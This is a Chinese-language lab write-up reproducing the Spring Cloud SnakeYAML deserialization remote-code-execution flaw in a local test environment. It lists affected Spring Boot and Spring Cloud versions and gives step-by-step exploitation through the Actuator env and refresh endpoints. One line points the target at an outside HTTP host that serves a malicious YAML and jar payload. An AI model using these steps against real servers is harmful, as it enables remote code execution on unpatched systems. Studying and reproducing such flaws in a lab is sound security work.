一、漏洞成因:
spring cloud在低版本下的 SnakeYAML 依赖组件存在反序列漏洞(所以有的利用叫:springcloud-snakeyaml-rce)
二、利用条件
Spring boot版本范围:
Spring Boot 2.X 全部无法利用
Spring Boot <=1.4 可以利用成功
Spring Boot 1.5.x 在使用Dalston版本可以,使用Edgware不可以
Spring cloud 版本范围:
Spring cloud < 1.3.0.RELEASE
组件要求:
spring-cloud-starter && spring-boot-starter
三、环境搭建及确定漏洞是否存在
1. 环境搭建就不说了,直接下面有git链接,下载IEDA直接启动即可。
2. 确认 spring-boot-actuator 1.5.22 RELEASE ,这个版本要确认是否是Dalston版,我这直接通过pom.xml确认,如果在渗透测试过程应该是没办法直接确认。
3. 确认 Spring-cloud 版本
四、漏洞复现
1. Payload准备
下载payload文件解压到根目录
2.进入目录修改AwesomeScriptEngineFactory.java,命令执行弹出计算器!
3.修改yaml-payload.yml文件
4. 编译并打包jar文件
javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件
. //打包成jar包
5.启动一个python的http环境,能访问到刚刚修改的jar文件和yml
6.env接口设置spring.cloud.bootstrap.location属性
spring.cloud.bootstrap.location=http://192.168.43.183:8888/yaml-payload.yml
7. refresh 接口刷新spring配置,触发rce
8.弹出画画板(我的计算器坏了)
总结:看了很多文章分析,整了好几天。我复现的思路没有像参考文章一样本地分析跟踪代码,更偏向于利用过程的记录和踩坑。
参考链接:
https://github.com/LandGrey/SpringBootVulExploit //漏洞总结
https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/ //漏洞分析和漏洞版本范围
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository //漏洞环境地址
https://github.com/b1ngz/spring-boot-actuator-cloud-vul //环境地址
https://github.com/artsploit/yaml-payload //payload地址